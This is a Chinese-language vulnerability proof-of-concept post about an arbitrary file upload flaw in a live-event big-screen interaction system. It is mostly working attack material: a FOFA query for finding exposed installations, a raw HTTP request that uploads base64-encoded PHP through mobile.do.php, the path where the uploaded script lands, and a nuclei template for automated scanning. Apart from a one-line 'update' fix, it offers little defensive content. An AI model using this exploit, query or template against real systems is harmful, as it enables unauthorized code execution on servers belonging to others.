免责声明
本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任
漏洞描述
该系统是实现现场大屏互动,里面功能众多,但在mobile.do.php接口处存在任意文件上传漏洞
搜索语法
fofa
body="/wall/themes/meepo/assets/images/defaultbg.jpg" || title="现场活动大屏幕系统"
漏洞复现
payload
POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Length: 71filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=
查看返回包
访问上传地址
http://ip/data//pic//demotest_yuhuainetwork_com//pic_173068521074867.php
nuclei
id: jinghuadi-Upload-any-fileinfo:name: 金华迪加现场大屏互动系统任意文件上传author: xlseverity: Criticaltags: tagshttp:- raw:- |-POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeContent-Length: 71filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=matchers-condition: andmatchers:- type: wordpart: bodywords:- \u53d1\u9001\u6210\u529f- type: statusstatus:- 200
修复建议
更新到最新版本